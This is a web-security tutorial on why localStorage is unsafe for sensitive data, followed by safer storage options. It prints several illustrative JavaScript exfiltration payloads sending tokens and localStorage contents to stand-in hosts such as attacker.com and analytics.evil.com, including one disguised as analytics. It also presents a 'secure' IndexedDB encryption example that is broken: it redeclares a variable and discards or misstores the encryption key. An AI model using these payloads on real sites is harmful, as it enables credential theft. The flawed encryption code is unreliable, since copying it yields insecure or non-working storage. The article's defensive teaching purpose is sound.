Stop Using localStorage for Sensitive Data: Here's Why and What to Use Instead

LocalStorage is a web API that’s seductively simple. It’s persistent, it has a straightforward interface, and it’s immediately available in every modern browser. But this convenience masks serious security vulnerabilities that make it unsuitable for sensitive data.

The Security Model of localStorage

When JavaScript code runs in your browser, it has unrestricted access to localStorage for its origin (domain). Any script, regardless of where it came from, can read and write to localStorage if it executes on your page.

This model creates multiple attack vectors. When we store sensitive data on the client side, we’re essentially creating a treasure map for attackers. Each storage method opens up different attack vectors, with some being more vulnerable than others. Let’s examine these attack vectors in detail.

Third-Party Script Injections

Web apps often include external scripts for analytics, ads, or UI components. Each of these has complete access to your localStorage:

1
// Any third-party script can do this
2
const sensitiveToken = localStorage.getItem('auth_token');
3
const userData = localStorage.getItem('user_data');
4

5
// Send to malicious server
6
fetch('https://evil-server.com', {
7
  method: 'POST',
8
  body: JSON.stringify({ token: sensitiveToken, data: userData })
9
});

A compromised third-party script becomes a direct threat to any sensitive data in localStorage. Supply chain attacks have become increasingly common, turning trusted scripts into potential data exfiltration tools.

One notable example is CVE-2020-11022: jQuery versions >=1.2 and <3.5.0 were vulnerable to XSS attacks even when sanitizing HTML from untrusted sources. When this HTML was passed to jQuery’s DOM manipulation methods (.html(), .append(), etc.), it could execute malicious code.

This vulnerability wasn’t a supply chain attack but demonstrates how widely-used packages can harbor serious security issues - jQuery was powering millions of websites at the time. Here’s how such vulnerabilities can be exploited to access localStorage:

1
// Malicious code taking advantage of the jQuery vulnerability
2
const payload = `<img src="x" onerror="
3
  const sensitive = {
4
    token: localStorage.getItem('auth_token'),
5
    user: localStorage.getItem('user_data')
6
  };
7
  fetch('https://attacker.com', {
8
    method: 'POST',
9
    body: JSON.stringify(sensitive)
10
  });
11
">`;
12

13
// Even with sanitization, this could execute in affected jQuery versions
14
$('#content').html(sanitizeHtml(payload));

The vulnerability was patched in jQuery 3.5.0, but it had existed for years before discovery.

Take the 2021 compromise of the popular npm package ‘ua-parser-js’. It was downloaded over 7 million times per week, and when attackers gained access to the developer’s account, they injected malicious code into three versions of the package. Any project using those versions unknowingly included the compromised code in their build.

This is why depending on localStorage for sensitive data creates such a significant risk. It’s not just about trusting your own code - you have to trust every third-party script, their security practices, and their entire supply chain.

Browser Extension Exploitation

Browser extensions can inject scripts into your web pages and access localStorage. While many extensions are legitimate, some can be malicious or get compromised:

1
// Code injected by a browser extension
2
const observer = new MutationObserver(() => {
3
  // Monitor localStorage for sensitive data
4
  const allData = { ...localStorage };
5

6
  // Send to collection server
7
  chrome.runtime.sendMessage({
8
    type: 'COLLECTED_DATA',
9
    payload: allData
10
  });
11
});
12

13
observer.observe(document, { subtree: true, childList: true });

XSS Payload Impact

Cross-site scripting (XSS) attacks become significantly more dangerous when sensitive data is stored in localStorage. A single XSS vulnerability can lead to immediate data theft. These attacks are particularly nasty because they execute with the same privileges as legitimate site code.

1
// Basic data theft using Image beacon
2
const collectSensitiveData = () => {
3
  const data = Object.keys(localStorage).reduce((acc, key) => {
4
    acc[key] = localStorage.getItem(key);
5
    return acc;
6
  }, {});
7

8
  // Exfiltrate all localStorage data
9
  const img = new Image();
10
  img.src = `https://attacker.com/collect?data=${encodeURIComponent(JSON.stringify(data))}`;
11
};
12

13
collectSensitiveData();

1
// More sophisticated attack that monitors for new data
2
const monitorStorage = () => {
3
  // Intercept all localStorage writes
4
  const originalSetItem = localStorage.setItem;
5
  localStorage.setItem = function(key, value) {
6
    // Call original to maintain functionality
7
    originalSetItem.call(this, key, value);
8

9
    // Steal the newly added data
10
    const img = new Image();
11
    img.src = `https://logger.evil.com/collect?key=${key}&value=${encodeURIComponent(value)}`;
12
  };
13

14
  // Also grab existing data
15
  stealData();
16
};

1
// Version 3: Stealth mode - hiding in normal-looking analytics
2
const compromisedAnalytics = () => {
3
  window.trackEvent = function(eventName, properties = {}) {
4
    // Look legitimate
5
    console.log('Tracking:', eventName);
6

7
    // Steal localStorage in small chunks to avoid detection
8
    const chunk = {};
9
    const keys = Object.keys(localStorage);
10
    const start = Math.floor(Math.random() * keys.length);
11

12
    // Only steal a few items at a time
13
    for(let i = 0; i < 3; i++) {
14
      const key = keys[(start + i) % keys.length];
15
      chunk[key] = localStorage.getItem(key);
16
    }
17

18
    // Hide theft in legitimate-looking analytics call
19
    navigator.sendBeacon(
20
      'https://analytics.evil.com/collect',
21
      JSON.stringify({
22
        event: eventName,
23
        properties: properties,
24
        metadata: chunk  // Smuggle stolen data
25
      })
26
    );
27
  };
28
};
29

30
// Inject any of these payloads through XSS vulnerabilities:
31
// - Unsanitized user input
32
// - Compromised third-party scripts
33
// - Malicious iframe content
34
// - Eval of untrusted JSON

The scariest part? These attacks can be nearly impossible to detect because:

• They execute with full privileges
• Can be disguised as normal functionality
• Can persist through page reloads if injected into stored code
• Often bypass CORS and CSP restrictions using techniques like Image beacons

This is why storing sensitive data in localStorage is so risky - a single XSS vulnerability anywhere in your application or its dependencies can lead to complete compromise of all stored data.

When to Use localStorage

Despite its security limitations, localStorage has valid use cases. The key is to only store non-sensitive data that won’t create security risks if exposed.

Think of localStorage as your app’s public notebook - perfect for jotting down preferences and temporary data. UI preferences like theme settings, language choices, and layout configurations are ideal candidates. When a user picks dark mode or collapses their sidebar, localStorage gives you a spot to remember these choices.

Here’s how you might handle theme preferences:

1
// Good uses of localStorage
2
const safeStorageExamples = {
3
  // UI Preferences
4
  theme: 'dark',
5
  fontSize: '16px',
6
  sidebarCollapsed: true,
7

8
  // Non-sensitive app state
9
  lastViewedPage: '/dashboard',
10
  sortPreference: 'date-desc',
11

12
  // Cached public data
13
  productCategories: ['Electronics', 'Books', 'Clothing'],
14
  languageSettings: 'en-US',
15

16
  // Feature flags
17
  hasSeenWelcomeMessage: true,
18
  betaFeaturesEnabled: false
19
};

You can also use localStorage to save drafts of non-sensitive forms. If someone’s writing a blog post or filling out a public survey, localStorage can preserve their work between page refreshes:

1
const draftManager = {
2
  saveDraft(formId, data) {
3
    // Only for non-sensitive forms!
4
    localStorage.setItem(`draft_${formId}`, JSON.stringify(data));
5
  },
6

7
  loadDraft(formId) {
8
    const draft = localStorage.getItem(`draft_${formId}`);
9
    return draft ? JSON.parse(draft) : null;
10
  }
11
};

Performance optimization is another sweet spot for localStorage. Caching public data can reduce API calls and make your app feel snappier:

1
const publicDataCache = {
2
  async getData(key) {
3
    const cached = localStorage.getItem(key);
4
    if (cached) {
5
      return JSON.parse(cached);
6
    }
7

8
    const response = await fetch(`/api/public/${key}`);
9
    const data = await response.json();
10

11
    localStorage.setItem(key, JSON.stringify(data));
12
    return data;
13
  }
14
};

User experience features often benefit from localStorage too. Those “Don’t show this again” messages or tutorial completion flags? Perfect for localStorage:

1
const userExperience = {
2
  dismissMessage(messageId) {
3
    const dismissed = JSON.parse(localStorage.getItem('dismissed_messages') || '[]');
4
    dismissed.push(messageId);
5
    localStorage.setItem('dismissed_messages', JSON.stringify(dismissed));
6
  },
7

8
  hasSeenMessage(messageId) {
9
    const dismissed = JSON.parse(localStorage.getItem('dismissed_messages') || '[]');
10
    return dismissed.includes(messageId);
11
  }
12
};

The key to using localStorage safely is asking yourself: “If this data was exposed to a malicious actor, what’s the worst that could happen?” If the answer involves any security or privacy risks, find a more secure storage solution.

Alternatives to localStorage

HttpOnly cookies provide strong security against XSS attacks since JavaScript can’t access them, but they still need proper configuration (SameSite, Secure flags) and CSRF protection to be truly secure - they’re not immune to all types of attacks by default. They’re perfect for refresh tokens and session identifiers:

1
app.post('/login', (req, res) => {
2
  const refreshToken = generateRefreshToken();
3

4
  res.cookie('refresh_token', refreshToken, {
5
    httpOnly: true,    // JavaScript can't access
6
    secure: true,      // HTTPS only
7
    sameSite: 'strict', // Prevents CSRF
8
    path: '/api/refresh'  // Scope to specific endpoints
9
  });
10
});

SessionStorage offers a sweet spot between localStorage’s persistence and memory’s transience. It acts like a temporary vault that automatically clears itself when you close the tab. This behavior makes it particularly useful for sensitive data that you only need for a single session.

Think of sessionStorage as a short-term memory bank. Unlike localStorage that keeps data indefinitely, sessionStorage enforces a strict lifetime - everything disappears when the tab closes. This automatic cleanup reduces the risk of sensitive data lingering around:

1
const sessionManager = {
2
  storeTemporaryData(key, value) {
3
    sessionStorage.setItem(key, JSON.stringify({
4
      value,
5
      timestamp: Date.now(),
6
      expiresIn: 30 * 60 * 1000 // 30 minutes
7
    }));
8
  },
9

10
  getTemporaryData(key) {
11
    const data = sessionStorage.getItem(key);
12
    if (!data) return null;
13

14
    const { value, timestamp, expiresIn } = JSON.parse(data);
15

16
    // Auto-expire old data even within the session
17
    if (Date.now() - timestamp > expiresIn) {
18
      sessionStorage.removeItem(key);
19
      return null;
20
    }
21

22
    return value;
23
  },
24

25
  refreshData(key) {
26
    const data = this.getTemporaryData(key);
27
    if (data) {
28
      this.storeTemporaryData(key, data); // Reset expiration
29
    }
30
    return data;
31
  }
32
};
33

34
// Example usage in a shopping cart
35
const cartManager = {
36
  async updateCart(items) {
37
    sessionManager.storeTemporaryData('cart', items);
38

39
    // Also sync with server
40
    await fetch('/api/cart', {
41
      method: 'POST',
42
      body: JSON.stringify(items)
43
    });
44
  },
45

46
  getCart() {
47
    return sessionManager.getTemporaryData('cart') || [];
48
  }
49
};

SessionStorage shines for temporary sensitive data like form progress, wizard states, or checkout processes. While it’s more secure than localStorage simply due to its shorter lifespan, it’s still vulnerable to XSS attacks within the active session. That’s why adding extra security layers, like expiration timestamps and data validation, helps create a more robust solution.

The key advantage of sessionStorage is its automatic cleanup - you don’t need to write code to clear sensitive data, the browser handles that for you. This reduces the risk of data leaks through forgotten cleanup or error conditions. However, remember that “session” means browser tab - data persists through page refreshes and survives browser crashes, so don’t treat it as truly temporary memory.

For larger datasets or offline capabilities: IndexedDB stands out, but its raw storage isn’t inherently secure. Like localStorage, any JavaScript running on your page can access it. However, IndexedDB’s architecture makes it perfect for encrypted storage of sensitive data.

Think of IndexedDB as your app’s private database - while it offers more sophisticated storage capabilities than localStorage, it’s still bound to the same origin (domain) security model, meaning any JavaScript on your page can access it. Unlike localStorage’s simple key-value pairs, IndexedDB supports complex data structures, binary data, and most importantly - efficient storage of encrypted content. You can store several megabytes of data without impacting performance, making it ideal for offline-first applications that need to cache sensitive information.

Here’s how you might implement secure storage with IndexedDB:

1
const secureStore = {
2
  async encrypt(data) {
3
    // Generate a unique encryption key using Web Crypto API
4
    const key = await crypto.subtle.generateKey(
5
      { name: 'AES-GCM', length: 256 },
6
      true,
7
      ['encrypt', 'decrypt']
8
    );
9

10
    // Convert data to buffer for encryption
11
    const encoder = new TextEncoder();
12
    const dataBuffer = encoder.encode(JSON.stringify(data));
13

14
    // Generate a random IV for each encryption
15
    const iv = crypto.getRandomValues(new Uint8Array(12));
16

17
    // Encrypt the data
18
    const encryptedData = await crypto.subtle.encrypt(
19
      { name: 'AES-GCM', iv },
20
      key,
21
      dataBuffer
22
    );
23

24
    return {
25
      encrypted: encryptedData,
26
      iv,
27
      key
28
    };
29
  },
30

31
  async store(key, value) {
32
    const db = await openDB('secureStore', 1, {
33
      upgrade(db) {
34
        // Create store with indexes if needed
35
        db.createObjectStore('encrypted', { keyPath: 'id' });
36
      }
37
    });
38

39
    const { encrypted, iv, key } = await this.encrypt(value);
40

41
    // Store encrypted data with metadata
42
    await db.put('encrypted', {
43
      id: key,
44
      data: encrypted,
45
      iv,
46
      timestamp: Date.now()
47
    });
48
  }
49
};

This encryption approach protects your data even if an attacker gains access to IndexedDB. By using the Web Crypto API for encryption, you may benefit from secure hardware encryption when available in supported environments - though this depends on the user’s device and browser capabilities. The combination of IndexedDB’s storage capabilities and proper encryption gives you a robust solution for storing sensitive data that needs to be available offline.

The right choice depends on your specific needs - consider the lifetime of the data, who needs access to it, and what security guarantees you require.